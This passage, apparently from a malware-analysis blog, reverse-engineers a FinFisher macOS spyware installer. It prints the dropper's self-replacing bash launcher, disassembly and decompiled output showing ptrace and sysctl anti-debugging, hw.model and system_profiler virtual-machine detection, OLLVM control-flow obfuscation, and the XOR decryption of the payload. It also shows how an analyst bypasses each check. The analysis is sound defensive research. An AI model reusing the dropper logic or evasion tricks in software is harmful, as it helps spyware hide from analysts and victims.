is going on. Let\u0026rsquo;s take a look at its contents.\nbash $ cat Install\\ Çağlayan #!/bin/bash BASEDIR=\u0026#34;$( cd \u0026#34;$(dirname \u0026#34;$0\u0026#34;)\u0026#34; \u0026amp;\u0026amp; pwd)\u0026#34; cd \u0026#34;$BASEDIR\u0026#34; open .log/ARA0848.app sleep 2 rm Install\\ Çağlayan mv installer Install\\ Çağlayan rm -rf .log ./Install\\ Çağlayan exit The script executes the hidden application, then replaces itself with the original application binary, and finally executes it to avoid suspicion by the user. This means that we should focus our attention on the installer binary inside ARA0848.app application (because it\u0026rsquo;s the binary that will be executed). The hidden application name ARA0848.app is different from Jabuka.app mentioned in Amnesty International report. The folder structure is the same and installer is described as the launcher/dropper.\nThe following picture describes the installation process:\nThe report discusses virtual machine detection and code obfuscation, so the next step is to load the installer binary into a disassembler (IDA in my case) and start reversing it.\nThe first thing we can notice is that the binary wasn\u0026rsquo;t stripped because function names are available. Yeah I know, getting strip to work with Xcode is not straightforward! Also visible are Objective-C class/method names without obfuscation (some macOS adware families obfuscate the names with junk strings).\nnm $ nm installer -s __TEXT __text 000000010000594b t +[GIFileOps baseAttributes] 0000000100004c0c t +[GIFileOps copy:to:] 0000000100004de3 t +[GIFileOps createDirectory:shouldDelete:] 000000010000628b t +[GIFileOps loadAgent:] 0000000100004f4d t +[GIFileOps move:to:] 0000000100005128 t +[GIFileOps remove:] 0000000100005254 t +[GIFileOps rename:to:] 0000000100005f80 t +[GIFileOps setDataFileAttributes:] 00000001000059c1 t +[GIFileOps setDirectoryAttributes:] 0000000100005d44 t +[GIFileOps setExecutableFileAttributes:] 00000001000061bc t +[GIFileOps setFile:withAttributes:] 0000000100005737 t +[GIFileOps setStandardAttributes:] 000000010000543f t +[GIFileOps setSuid:] 00000001000063ae t +[GIFileOps unloadAgent:] 00000001000064d1 t +[GIFileOps unloadKext] 0000000100029ca9 t +[GIFileOps(Zip) unzip:to:] 000000010000765c t +[GIPath agentName] 000000010000767b t +[GIPath agentSource] 0000000100007726 t +[GIPath agentTarget] 0000000100007298 t +[GIPath compressedPayload] 0000000100007522 t +[GIPath coreName] 0000000100007541 t +[GIPath coreSource] 00000001000075ec t +[GIPath coreTarget] 00000001000065bd t +[GIPath executables] 0000000100007378 t +[GIPath expandedMainBundle] 0000000100007308 t +[GIPath expandedPayload] 0000000100006cb2 t +[GIPath installationMap] 00000001000070d2 t +[GIPath installer] 00000001000073e8 t +[GIPath kextName] 0000000100007407 t +[GIPath kextSource] 00000001000074b2 t +[GIPath kextTarget] 0000000100007940 t +[GIPath masterKeyDirSource] 00000001000078d0 t +[GIPath masterKeyDirTarget] 0000000100007142 t +[GIPath payload] 0000000100007796 t +[GIPath supervisorName] 00000001000077b5 t +[GIPath supervisorSource] 0000000100007860 t +[GIPath supervisorTarget] 0000000100006f2a t +[GIPath systemTemp] 0000000100007062 t +[GIPath trampoline] 00000001000071ed t +[GIPath updatePackage] 0000000100027f49 t -[ZipArchive CloseZipFile2] 000000010002762f t -[ZipArchive CreateZipFile2:Password:] 00000001000274c3 t -[ZipArchive CreateZipFile2:] 0000000100029b52 t -[ZipArchive Date1980] 000000010002996e t -[ZipArchive OutputErrorMessage:] 0000000100029a29 t -[ZipArchive OverWrite:] 00000001000297ea t -[ZipArchive UnzipCloseFile] 000000010002818a t -[ZipArchive UnzipFileTo:overWrite:] 000000010002816d t -[ZipArchive UnzipOpenFile:Password:] 000000010002800f t -[ZipArchive UnzipOpenFile:] 000000010002764c t -[ZipArchive addFileToZip:newname:] 0000000100027484 t -[ZipArchive dealloc] 0000000100029c46 t -[ZipArchive delegate] 0000000100027300 t -[ZipArchive init] 0000000100029c8c t -[ZipArchive setDelegate:] 000000010000275c t -[appAppDelegate applicationDidFinishLaunching:] 0000000100004884 t -[appAppDelegate askUserPermission:] 0000000100003283 t -[appAppDelegate executeTrampoline] 0000000100002b29 t -[appAppDelegate expandPayload] 0000000100003581 t -[appAppDelegate installPayload] 0000000100003e87 t -[appAppDelegate isAfterPatch] 0000000100003658 t -[appAppDelegate launchNewStyle] 000000010000384a t -[appAppDelegate launchOldStyle] 0000000100002a41 t -[appAppDelegate removeOldResource] 0000000100003c37 t -[appAppDelegate removeTraces] 000000010002a781 t ___ARCLite__load 000000010002aa1b t ___arclite_NSArray_objectAtIndexedSubscript 000000010002aa95 t ___arclite_NSDictionary_objectForKeyedSubscript 000000010002aa30 t ___arclite_NSMutableArray_setObject_atIndexedSubscript 000000010002aaaa t ___arclite_NSMutableDictionary__setObject_forKeyedSubscript 000000010002aad1 t ___arclite_NSMutableOrderedSet_setObject_atIndexedSubscript 000000010002aabc t ___arclite_NSOrderedSet_objectAtIndexedSubscript 000000010002b0bc t ___arclite_objc_autorelease 000000010002aae3 t ___arclite_objc_autoreleasePoolPop 000000010002ad6c t ___arclite_objc_autoreleasePoolPush 000000010002b0f6 t ___arclite_objc_autoreleaseReturnValue 000000010002b0a7 t ___arclite_objc_release 000000010002b088 t ___arclite_objc_retain 000000010002b0d1 t ___arclite_objc_retainAutorelease 000000010002b10b t ___arclite_objc_retainAutoreleaseReturnValue 000000010002b130 t ___arclite_objc_retainAutoreleasedReturnValue 000000010002b09d t ___arclite_objc_retainBlock 000000010002b145 t ___arclite_objc_storeStrong 000000010002af14 t ___arclite_object_copy 000000010002ad85 t ___arclite_object_setInstanceVariable 000000010002ade7 t ___arclite_object_setIvar 0000000100000000 T __mh_execute_header 000000010001e6d2 t _add_data_in_datablock 000000010002a9eb t _add_image_hook_ARC 000000010002aa03 t _add_image_hook_GC 00000001000270a3 t _allocate_new_datablock 00000001000016e0 t _deny_ptrace 00000001000081d1 t _fclose_file_func 00000001000081de t _ferror_file_func 0000000100008226 t _fill_fopen_filefunc 00000001000079b0 t _fopen_file_func 0000000100007e74 t _fread_file_func 0000000100007f02 t _fseek_file_func 0000000100007ef5 t _ftell_file_func 0000000100007eda t _fwrite_file_func 0000000100026f19 t _init_keys 000000010000174f t _main 000000010002a766 T _objc_retainedObject 000000010002a76f T _objc_unretainedObject 000000010002a778 T _objc_unretainedPointer 000000010002aaf5 t _patch_lazy_pointers 000000010000fab0 t _strcmpcasenosensitive_internal 00000001000123b5 t _unzClose 0000000100012549 t _unzCloseCurrentFile 0000000100012b6f t _unzGetCurrentFileInfo 000000010001525e t _unzGetFilePos 000000010001a5df t _unzGetGlobalComment 0000000100012adc t _unzGetGlobalInfo 000000010001a111 t _unzGetLocalExtrafield 000000010001aab5 t _unzGetOffset 00000001000154f3 t _unzGoToFilePos 0000000100012296 t _unzGoToFirstFile 00000001000147be t _unzGoToNextFile 0000000100014b6b t _unzLocateFile 00000001000123a9 t _unzOpen 0000000100010128 t _unzOpen2 00000001000189cc t _unzOpenCurrentFile 0000000100018a36 t _unzOpenCurrentFile2 0000000100015692 t _unzOpenCurrentFile3 0000000100018a20 t _unzOpenCurrentFilePassword 0000000100018a43 t _unzReadCurrentFile 0000000100008280 t _unzRepair 000000010001ad39 t _unzSetOffset 000000010000f921 t _unzStringFileNameCompare 0000000100019efa t _unzeof 000000010001789d t _unzlocal_CheckCurrentFileCoherencyHeader 0000000100012ba9 t _unzlocal_GetCurrentFileInfoInternal 000000010001ae36 t _unzlocal_getByte 0000000100011d6c t _unzlocal_getLong 0000000100011f96 t _unzlocal_getShort 0000000100019d43 t _unztell 0000000100025a9b t _zipClose 0000000100023296 t _zipCloseFileInZip 0000000100024e85 t _zipCloseFileInZipRaw 0000000100024bda t _zipFlushWriteBuffer 000000010001ef74 t _zipOpen 000000010001b00b t _zipOpen2 0000000100023f7c t _zipOpenNewFileInZip 0000000100023f11 t _zipOpenNewFileInZip2 000000010001efd2 t _zipOpenNewFileInZip3 000000010002404a t _zipWriteInFileInZip 00000001000232a4 t _ziplocal_TmzDateToDosDate 0000000100027110 t _ziplocal_getByte 000000010001e082 t _ziplocal_getLong 000000010001e4ae t _ziplocal_getShort 0000000100023997 t _ziplocal_putValue 000000010002351c t _ziplocal_putValue_inmemory 00000001000016a4 T start Something that should always be verified is the existence of any constructors/destructors and Objective-C load methods. These are executed before main and we need to take a look at their contents. They can be used for all kinds of tricks before code starts executing at main.\nIn this case there aren\u0026rsquo;t any so we can focus instead on main. The start symbol is called first but the only thing important happening there is the call to main, so we don\u0026rsquo;t need to worry about it.\nA small peek of main follows:\nIDA __text:10000174F push rbp __text:100001750 mov rbp, rsp __text:100001753 push r15 __text:100001755 push r14 __text:100001757 push r13 __text:100001759 push r12 __text:10000175B push rbx __text:10000175C sub rsp, 398h __text:100001763 mov r14, rsi __text:100001766 mov r15d, edi __text:100001769 mov rax, cs:___stack_chk_guard_ptr __text:100001770 mov rax, [rax] __text:100001773 mov [rbp+var_30], rax __text:100001777 call _objc_autoreleasePoolPush __text:10000177C mov [rbp+context], rax __text:100001783 call _deny_ptrace ; \u0026lt;------------ HERE __text:100001788 mov [rbp+var_40], 288h __text:100001790 lea rbx, [rbp+var_2C8] __text:100001797 mov esi, 288h __text:10000179C mov rdi, rbx __text:10000179F call ___bzero __text:1000017A4 mov dword ptr [rbp+__size], 1 __text:1000017AE mov dword ptr [rbp+__size+4], 0Eh __text:1000017B8 mov [rbp+var_2D8], 1 __text:1000017C2 call _getpid __text:1000017C7 mov [rbp+var_2D4], eax __text:1000017CD lea rdi, [rbp+__size] ; int * __text:1000017D4 lea rcx, [rbp+var_40] ; size_t * __text:1000017D8 mov esi, 4 ; u_int __text:1000017DD xor r8d, r8d ; void * __text:1000017E0 xor r9d, r9d ; size_t __text:1000017E3 mov rdx, rbx ; void * __text:1000017E6 call _sysctl ; \u0026lt;----------------- HERE __text:1000017EB mov [rbp+var_34], eax __text:1000017EE mov r8d, [rbp+var_2A8] __text:1000017F5 shr r8d, 0Bh ; \u0026lt;---------------- __text:1000017F9 and r8d, 1 One of the calls is explicit on its intentions, to execute the ptrace anti-debugging trick.\nPT_DENY_ATTACH\nThis request is the other operation used by the traced process; it allows a process that is not currently being traced to deny future traces by its parent. All other arguments are ignored. If the process is currently being traced, it will exit with the exit status of ENOTSUP; otherwise, it sets a flag that denies future traces. An attempt by the parent to trace a process which has set this flag will result in a segmentation violation in the parent.\nThe call to sysctl is also another anti-debugging trick based on Apple\u0026rsquo;s AmIBeingDebugged example. Pretty normal, boring stuff, easy to bypass!\nTo bypass _deny_ptrace we can set a breakpoint at address 0x100001783 and skip the call by setting the instruction pointer to the next address 0x100001788. The command skip exists in lldbinit for this purpose. A kernel extension like Onyx The Black Cat can take care of this transparently or we can just breakpoint into ptrace symbol and return the right value to fool the call. Skipping the call is just easier in this case.\nTo bypass the sysctl anti-debugging we just need to modify the return data. The debugger is detected under the following condition:\n#define P_TRACED 0x00000800 /* Debugged process being traced */ if ((info.kp_proc.p_flag \u0026amp; P_TRACED) != 0) { printf(\u0026#34;ALERT: Debugger is found !!!!\\n\u0026#34;); } If we breakpoint at address 0x1000017F5 we can simply remove 0x800 from whatever value was moved to r8 at previous instruction. This is what the code is doing, verifying if bit 11 is set. Once again, there are different ways to attack this from the kernel or from sysctl symbol. The breakpoint will work fine since we can script all this in lldb.\nAfter the sysctl call we observe some weird code:\nIDA __text:1000017E6 call _sysctl __text:1000017EB mov [rbp+var_34], eax __text:1000017EE mov r8d, [rbp+var_2A8] ; info.kp_proc.p_flag (int) __text:1000017F5 shr r8d, 0Bh __text:1000017F9 and r8d, 1 __text:1000017FD mov edi, 470C6D79h __text:100001802 mov edx, 6A7B7BCBh __text:100001807 jmp short loc_100001810 __text:100001809 ; --------------------------------------------------------------------------- __text:100001809 __text:100001809 loc_100001809: ; CODE XREF: _main+EE↓j __text:100001809 mov esi, eax __text:10000180B mov edi, 0A25B8AE8h __text:100001810 __text:100001810 loc_100001810: ; CODE XREF: _main+B8↑j __text:100001810 ; _main+106↓j __text:100001810 mov ecx, esi __text:100001812 jmp short loc_100001820 __text:100001814 ; --------------------------------------------------------------------------- __text:100001814 __text:100001814 loc_100001814: ; CODE XREF: _main+E6↓j __text:100001814 cmp [rbp+var_34], 0 __text:100001818 mov edi, 0D4A840A1h __text:10000181D cmovnz edi, edx __text:100001820 __text:100001820 loc_100001820: ; CODE XREF: _main+C3↑j __text:100001820 ; _main+DE↓j ... __text:100001820 mov ebx, edi __text:100001822 mov edi, 7BDEBDB0h __text:100001827 cmp ebx, 6A7B7BCBh __text:10000182D jz short loc_100001820 __text:10000182F cmp ebx, 470C6D79h __text:100001835 jz short loc_100001814 __text:100001837 cmp ebx, 7BDEBDB0h __text:10000183D jz short loc_100001809 __text:10000183F mov edi, 2F10CD8Bh __text:100001844 cmp ebx, 0A25B8AE8h __text:10000184A jz short loc_100001820 __text:10000184C cmp ebx, 0D4A840A1h __text:100001852 mov esi, r8d __text:100001855 jz short loc_100001810 __text:100001857 cmp ebx, 2F10CD8Bh __text:10000185D jnz short loc_10000188A __text:10000185F mov [rbp+argc], r15d __text:100001866 mov [rbp+argv], r14 __text:10000186D mov [rbp+var_2E8], ecx __text:100001873 mov eax, 0AA554355h __text:100001878 mov [rbp+var_300], 0 __text:100001882 mov [rbp+var_2FC], ecx __text:100001888 jmp short loc_100001891 This code doesn\u0026rsquo;t look normal and executing anything useful. It is the result of LLVM-obfuscator. In this case the control flow appears to be obfuscated. After the r8 test we can\u0026rsquo;t clearly see the test condition that we expect - we can just follow a bunch of jumps based on some weird values. This appears to be LLVM-obfuscator\u0026rsquo;s Bogus Control Flow feature.\nThis method modifies a function call graph by adding a basic block before the current basic block. This new basic block contains an opaque predicate and then makes a conditional jump to the original basic block.\nThe original basic block is also cloned and filled up with junk instructions chosen at random.\nQuarksLab has a very interesting post about this obfuscator: Deobfuscation: recovering an OLLVM-protected program.\nThe function graph is too long to display here but it\u0026rsquo;s even easier to visualise the obfuscator with the decompiler:\ncontext = objc_autoreleasePoolPush(); deny_ptrace(); v53 = 648LL; __bzero(v51, 648LL); __size = 0xE00000001LL; v49 = 1; v50 = getpid(); v5 = 4; // amIBeingDebugged v6 = sysctl((int *)\u0026amp;__size, 4u, v51, \u0026amp;v53, 0LL, 0LL); v54 = v6; v7 = 0x470C6D79; v8 = 0x6A7B7BCBLL; do { LABEL_3: v9 = v5; do { while ( 1 ) { do { v10 = v7; v7 = 0x7BDEBDB0; } while ( v10 == 0x6A7B7BCB ); if ( v10 != 0x470C6D79 ) break; v7 = 0xD4A840A1; if ( v54 ) v7 = 0x6A7B7BCB; } if ( v10 == 0x7BDEBDB0 ) { v5 = v6; v7 = 0xA25B8AE8; goto LABEL_3; } v7 = 0x2F10CD8B; } while ( v10 == 0xA25B8AE8 ); // the P_TRACED check // info.kp_proc.p_flag v5 = (v52 \u0026gt;\u0026gt; 11) \u0026amp; 1; } while ( v10 == 0xD4A840A1 ); argca = argc; argva = argv; v46 = v9; v11 = 0xAA554355; v41 = 0; v42 = v9; Just visually we can see that the do while blocks are pretty weird and the checks don\u0026rsquo;t seem useful at all. The biggest issue of this obfuscation is that to step and debug the control flow is annoying and takes time.\nWe can step every instruction in the debugger, which can be slow (although just the first time since then we can set breakpoints for next sessions). To trace the code paths we can use tools such as PIN and Lighthouse. All the bogus flow would still be traced and flagged but we could visualise which areas were executed and which weren\u0026rsquo;t.\nBut there is no need to bring bazookas to a knife fight. Instead I simplified and just used bruteforce. I always like to look around the code to have a general feeling before deep diving into it (I\u0026rsquo;m a fan of +ORC zen cracking thing). So I saw the code basic blocks and could see the string references to virtual machine detection tricks described by Amnesty report. Instead of tracing the control flow I could just gather all those basic blocks and breakpoint all of them and hope for the best. Using the first anti-vm detection as an example:\nIDA __text:100001B45 loc_100001B45: ; CODE XREF: _main+1B9↑j __text:100001B45 cmp eax, 4BB9C77Ch __text:100001B4A jnz loc_100001891 __text:100001B50 xor esi, esi ; void * __text:100001B52 xor ecx, ecx ; void * __text:100001B54 xor r8d, r8d ; size_t __text:100001B57 lea rbx, aHwModel ; \u0026#34;hw.model\u0026#34; __text:100001B5E mov rdi, rbx ; char * __text:100001B61 lea r15, [rbp+__size] __text:100001B68 mov rdx, r15 ; size_t * __text:100001B6B call _sysctlbyname ; size_t len = 0; The first two instructions of this block are junk, so we can set the breakpoint at address 0x100001B50. When this check is finally going to be executed the debugger will breakpoint and we avoided tracing through all the bogus control flow. The only problem is to automate the breakpoint addresses for the basic blocks we are interested in. I just did it by hand since there weren\u0026rsquo;t that many candidates.\nNevertheless as I mentioned before, the decompiler makes this even easier. I\u0026rsquo;m still not a frequent user of the decompiler (wrongly so) and that\u0026rsquo;s the reason why I attacked this issue with the breakpoint bruteforce method. Later on I used the decompiler and this makes it so much easier to find where the interesting code is. The following listing shows the full obfuscation in executeTrampoline Objective-C method:\nvoid __cdecl -[appAppDelegate executeTrampoline](appAppDelegate *self, SEL a2) { int i; // eax __int64 v3; // [rsp+0h] [rbp-40h] BYREF id *v4; // [rsp+8h] [rbp-38h] bool v5; // [rsp+16h] [rbp-2Ah] bool v6; // [rsp+17h] [rbp-29h] for ( i = -1314525355; ; i = -860919120 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( i \u0026gt; 1906374694 ) { i = -378289692; if ( v5 ) i = -166979571; } if ( i \u0026lt;= 1362875871 ) break; i = -653958391; if ( v6 ) i = 349463466; } if ( i \u0026gt; -1680978437 ) break; i = -1260767775; } if ( i \u0026gt; -1490852160 ) break; i = -842796370; } if ( i \u0026gt; -1260767776 ) break; i = -506855829; } if ( i \u0026gt; -1178212413 ) break; v6 = (unsigned __int8)objc_msgSend(*v4, \u0026#34;launchNewStyle\u0026#34;) == 0; i = 1362875872; } if ( i \u0026lt;= 428753874 ) break; i = 376588111; } if ( i \u0026lt;= 376588110 ) break; objc_msgSend(*v4, \u0026#34;launchOldStyle\u0026#34;); i = -653958391; } if ( i \u0026lt;= 349463465 ) break; i = -1680978436; } if ( i \u0026gt; -1167397111 ) break; LABEL_30: i = 161326308; } if ( i \u0026gt; -860919121 ) break; i = -1946496017; } if ( i \u0026lt;= -842796371 ) { objc_msgSend(*v4, \u0026#34;launchOldStyle\u0026#34;); goto LABEL_30; } if ( i \u0026gt; -653958392 ) break; i = 428753875; } if ( i \u0026gt; -506855830 ) break; i = -434592465; } if ( i \u0026gt; -434592466 ) break; v4 = (id *)(\u0026amp;v3 - 2); *(\u0026amp;v3 - 2) = (__int64)self; v5 = (unsigned __int8)objc_msgSend(*v4, \u0026#34;isAfterPatch\u0026#34;) == 1; i = 1906374695; } if ( i \u0026gt; -378289693 ) break; i = -1178212412; } if ( i \u0026gt; -166979572 ) break; i = 163091173; } if ( i != -166979571 ) break; i = -1167397110; } if ( i != 163091173 ) break; } } What we can clearly see in this code is that we are just interested in all the objc_msgSend calls, while the rest of the code is just junk. To debug this function we just need to breakpoint those basic blocks and wait for the debugger to hit them, bypassing all the junk code. This should be possible to automate so we can pass this information from the disassembler to the debugger and make the whole process faster.\nAfter breakpointing the interesting basic blocks I finally reached to the first virtual machine detection attempt. The code queries the hardware model via sysctl and then tries to match known virtualization software. It\u0026rsquo;s a variation of this sample code:\n#include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;sys/types.h\u0026gt; #include \u0026lt;sys/sysctl.h\u0026gt; size_t len = 0; sysctlbyname(\u0026#34;hw.model\u0026#34;, NULL, \u0026amp;len, NULL, 0); if (len) { char *model = malloc(len*sizeof(char)); sysctlbyname(\u0026#34;hw.model\u0026#34;, model, \u0026amp;len, NULL, 0); printf(\u0026#34;%s\\n\u0026#34;, model); free(model); } I use VMware Fusion so my model will be VMware7,1. Then the code checks if the model string starts with vmware, parallels, or virtualbox. To bypass this check we can simply modify the model value to something else that doesn\u0026rsquo;t match those strings such as MacOS7,1 or just modify the first byte.\nIDA __text:100001B6B call _sysctlbyname ; find out the size of model string __text:100001B70 mov rdi, [rbp+__size] __text:100001B77 call _malloc ; allocate space for char *model __text:100001B7C mov r14, rax ; we want this address so we can modify later on __text:100001B7F xor ecx, ecx __text:100001B81 xor r8d, r8d __text:100001B84 mov rdi, rbx __text:100001B87 mov rsi, r14 ; the model buffer __text:100001B8A mov rdx, r15 __text:100001B8D call _sysctlbyname ; just change the buffer content after the call __text:100001B92 mov rdi, cs:classRef_NSString In this case we need to set a breakpoint at address 0x100001B7C or 0x100001B87 so we know the address of the buffer. Then we set another breakpoint after the second call to sysctlbyname at address 0x100001B92. There we modify the buffer contents and bypass the first virtual machine detection. This could also be automated with a kernel extension or hooking sysctlbyname.\nThere is a second virtual machine detection attempt, this one described in Amnesty report. It uses the system_profiler system command to find the hardware manufacturer. Executing the command on a virtual machine:\nsystem_profiler $ system_profiler SPUSBDataType | egrep -i \u0026#34;Manufacturer: (parallels|vmware|virtualbox)\u0026#34; Manufacturer: VMware, Inc. Manufacturer: VMware Manufacturer: VMware Manufacturer: VMware This is the detection code decompilation output:\nv26 = objc_msgSend(\u0026amp;OBJC_CLASS___NSTask, \u0026#34;alloc\u0026#34;); v37 = objc_msgSend(v26, \u0026#34;init\u0026#34;); objc_msgSend(v37, \u0026#34;setLaunchPath:\u0026#34;, CFSTR(\u0026#34;/bin/sh\u0026#34;)); v27 = objc_msgSend( \u0026amp;OBJC_CLASS___NSString, \u0026#34;stringWithFormat:\u0026#34;, CFSTR(\u0026#34;%@\u0026#34;), CFSTR(\u0026#34;system_profiler SPUSBDataType | egrep -i \\\u0026#34;Manufacturer: (parallels|vmware|virtualbox)\\\u0026#34;\u0026#34;)); v28 = objc_retainAutoreleasedReturnValue(v27); v29 = objc_msgSend(\u0026amp;OBJC_CLASS___NSArray, \u0026#34;arrayWithObjects:\u0026#34;, CFSTR(\u0026#34;-c\u0026#34;), v28, 0LL); v36 = objc_retainAutoreleasedReturnValue(v29); objc_release(v28); objc_msgSend(v37, \u0026#34;setArguments:\u0026#34;, v36); v30 = objc_msgSend(\u0026amp;OBJC_CLASS___NSPipe, \u0026#34;pipe\u0026#34;); v35 = objc_retainAutoreleasedReturnValue(v30); objc_msgSend(v37, \u0026#34;setStandardOutput:\u0026#34;, v35); v31 = objc_msgSend(v35, \u0026#34;fileHandleForReading\u0026#34;); v38 = objc_retainAutoreleasedReturnValue(v31); objc_msgSend(v37, \u0026#34;launch\u0026#34;); objc_msgSend(v37, \u0026#34;waitUntilExit\u0026#34;); LOBYTE(v54) = (unsigned int)objc_msgSend(v37, \u0026#34;terminationStatus\u0026#34;) == 0; Translated to Objective-C:\nNSTask *task = [[NSTask alloc] init]; [task setLaunchPath:@\u0026#34;/bin/sh\u0026#34;]; NSString *cmd = [NSString stringWithFormat:\u0026#34;%@\u0026#34;, @\u0026#34;system_profiler SPUSBDataType | egrep -i \\\u0026#34;Manufacturer: (parallels|vmware|virtualbox)\\\u0026#34;\u0026#34;]; NSArray *args = [NSArray arrayWithObjects: @\u0026#34;-c\u0026#34;, cmd, nil]; [task setArguments:args]; NSPipe *pipe = [NSPipe pipe]; [task setStandardOutput:pipe]; NSFileHandle *file = [pipe fileHandleForReading]; [task launch]; [task waitUntilExit]; int ret = [task terminationStatus] == 0; It will essentially execute a shell command via NSTask class. The easiest way to bypass this is to modify the string since the CoreFoundation String (CFString) points to a C string.\n__cstring:10002B620 aSystemProfiler db \u0026#39;system_profiler SPUSBDataType | egrep -i \u0026#34;Manufacturer: (parallels|vmware|virtualbox)\u0026#34;\u0026#39;,0 __cstring:10002B620 ; DATA XREF: __cfstring:cfstr_SystemProfiler↓o If the command doesn\u0026rsquo;t return the information it\u0026rsquo;s looking then whatever test the code is doing will fail and we should bypass the vm detection easily. We just need to overwrite the grep string or modify the shell command to return nothing and exit early.\nIn my case I opted to modify the string to \u0026quot;system_profiler SPUSBDataType | egrep -i \u0026quot;Manufacturer: (finfisher clowns u suck aha)\u0026quot;\u0026quot;. For this we don\u0026rsquo;t need a breakpoint since we can modify the memory for the string at the first breakpoint for example, when we bypass the ptrace. Or we can just patch the binary since there are no integrity checks anyway.\nAnd gone are all anti-debugging and anti-vm checks. That wasn\u0026rsquo;t hard!\nSomewhere in the middle of main code we can find this:\nIDA __text:100001DEF loc_100001DEF: ; CODE XREF: _main+248↑j __text:100001DEF cmp eax, 0D7F98BB5h __text:100001DF4 jnz loc_100001891 __text:100001DFA mov edi, [rbp+argc] ; argc __text:100001E00 mov rsi, [rbp+argv] ; argv __text:100001E07 call _NSApplicationMain __text:100001E0C mov [rbp+var_300], eax __text:100001E12 mov eax, 0CDACC4F9h __text:100001E17 jmp loc_100001891 This means this is a AppKit application. NSApplicationMain is responsible for creating and running the application. What we have seen until now is just a prologue.\nAn astute reader will notice that there is an even easier way to bypass all the previous checks with a single breakpoint. Let me show you how. The prototype for NSApplicationMain is:\nint NSApplicationMain(int argc, const char * _Nonnull *argv); Since there are no interesting operations in main other than anti-debugging and anti-vm checks, we could simply bypass all that code and set execution directly to NSApplicationMain. The following are the interesting parts of main to achieve this:\nIDA __text:10000174F push rbp __text:100001750 mov rbp, rsp __text:100001753 push r15 ; break here __text:100001753 ; and set RIP to 0x100001DFA -. (...) | __text:100001DFA mov edi, [rbp+argc] ; argc \u0026lt;----------------------´ __text:100001E00 mov rsi, [rbp+argv] ; argv __text:100001E07 call _NSApplicationMain We can set a breakpoint at address 0x100001753 (remember that software breakpoint is triggered before instruction is executed - because the original instruction is replaced with int3 instruction) and modify the instruction pointer to address 0x100001DFA. We need to do it like this because the arguments are referenced as an offset of the frame pointer register rbp. If we had set the breakpoint at address 0x10000174F then the argc reference would be pointing to wrong memory. It is possible to do it this way, we just need to fix the rbp address to the right value (stack grows to lower addresses, so this would be current rsp value - 8). Easier to just breakpoint after the correct rbp is set.\nNow back to tracing post NSApplicationMain execution.\nThere is no need to single step execution into NSApplicationMain. There are a series of delegates for NSApplication and at least one or two are usually implemented in normal applications. These delegates execute before the real application starts running, so we can breakpoint them to regain debugger control after the call to NSApplicationMain.\nIn this case applicationDidFinishLaunching: (doc) is the only delegate available. Right away we can observe interesting method names that we want to investigate.\nIDA __text:10000275C push rbp __text:10000275D mov rbp, rsp __text:100002760 push r15 __text:100002762 push r14 __text:100002764 push r13 __text:100002766 push r12 __text:100002768 push rbx __text:100002769 sub rsp, 18h __text:10000276D mov rbx, rdi __text:100002770 mov rdi, rdx ; id __text:100002773 call cs:_objc_retain_ptr __text:100002779 call _objc_autoreleasePoolPush __text:10000277E mov [rbp+context], rax __text:100002782 mov rsi, cs:selRef_removeOldResource ; SEL __text:100002789 mov r14, cs:_objc_msgSend_ptr __text:100002790 mov rdi, rbx __text:100002793 call r14 ; _objc_msgSend ; -[appAppDelegate removeOldResource] __text:100002796 mov rsi, cs:selRef_expandPayload ; SEL __text:10000279D mov rdi, rbx __text:1000027A0 call r14 ; _objc_msgSend ; -[appAppDelegate expandPayload] __text:1000027A3 mov rsi, cs:selRef_executeTrampoline ; SEL __text:1000027AA mov rdi, rbx __text:1000027AD call r14 ; _objc_msgSend ; -[appAppDelegate executeTrampoline] __text:1000027B0 mov rsi, cs:selRef_installPayload ; SEL __text:1000027B7 mov rdi, rbx ; id __text:1000027BA call r14 ; _objc_msgSend ; -[appAppDelegate installPayload] __text:1000027BD movsx eax, al __text:1000027C0 mov [rbp+var_2C], eax __text:1000027C3 mov r15, cs:selRef_askUserPermission_ __text:1000027CA mov r12, cs:selRef_installPayload __text:1000027D1 mov eax, 464B731Fh __text:1000027D6 jmp short loc_1000027DD At least two method names look interesting, expandPayload and installPayload. Amnesty report discusses an encrypted payload so this is a good clue and we definitely want to take a look at those methods.\nThe removeOldResource method cleans up the temporary payload environment. It uses the +[GIPath compressedPayload] class method to build the temporary path to this payload. On my High Sierra VM, the temporary path is /Users/username/Library/Caches/arch.zip, while in Amnesty report is /tmp/arch.zip.\nid __cdecl +[GIPath compressedPayload](id a1, SEL a2) { id v2; // rax id v3; // r14 id v4; // rax id v5; // rbx // returns @\u0026#34;/Users/username/Library/Caches\u0026#34; v2 = +[GIPath systemTemp](\u0026amp;OBJC_CLASS___GIPath, \u0026#34;systemTemp\u0026#34;); v3 = objc_retainAutoreleasedReturnValue(v2); v4 = objc_msgSend(v3, \u0026#34;stringByAppendingPathComponent:\u0026#34;, CFSTR(\u0026#34;arch.zip\u0026#34;)); v5 = objc_retainAutoreleasedReturnValue(v4); objc_release(v3); return objc_autoreleaseReturnValue(v5); } The path to the extracted payload is built with +[GIPath expandedPayload] class method. In my case /Users/username/Library/Caches/org.logind.ctp.archive.\nMore interesting is the expandPayload method. This is where the encrypted payload is decrypted and extracted for later persistence installation in the target system. The encrypted payload is the data file found in Resources folder of the hidden application - ARA0848.app/Contents/Resources/data.\nWithout going too much into detail about this method, what it does is to decrypt the data payload to /Users/username/Library/Caches/arch.zip by XOR\u0026rsquo;ing with the key \u0026ldquo;NSString\u0026rdquo;, and then extract that ZIP file to /Users/username/Library/Caches/org.logind.ctp.archive.\nAmnesty released a script to decrypt the payload but I couldn\u0026rsquo;t get it to work. Instead it\u0026rsquo;s just easier to recover the decrypted payload from memory or the extracted version from the filesystem.\nThe memory buffer for the decrypted version is allocated here:\nIDA __text:100002F88 call r12 ; _objc_msgSend ; [NSConcreteData length] __text:100002F8B mov rdi, rax ; 0x0000000000158712 __text:100002F8B ; size of data payload (1410834 bytes) __text:100002F8E call _malloc __text:100002F93 mov [rbp+var_58], rax So we just need to set a breakpoint at address 0x100002F93, recover the value of rax register, and find where the decryption loop ends. We can also just find out where it tries to write the buffer to the filesystem and breakpoint there so we can copy it from the filesystem (in this case it\u0026rsquo;s not deleted right away, only later on).\nA good place is here:\nIDA __text:100003080 call r12 ; _objc_msgSend ; 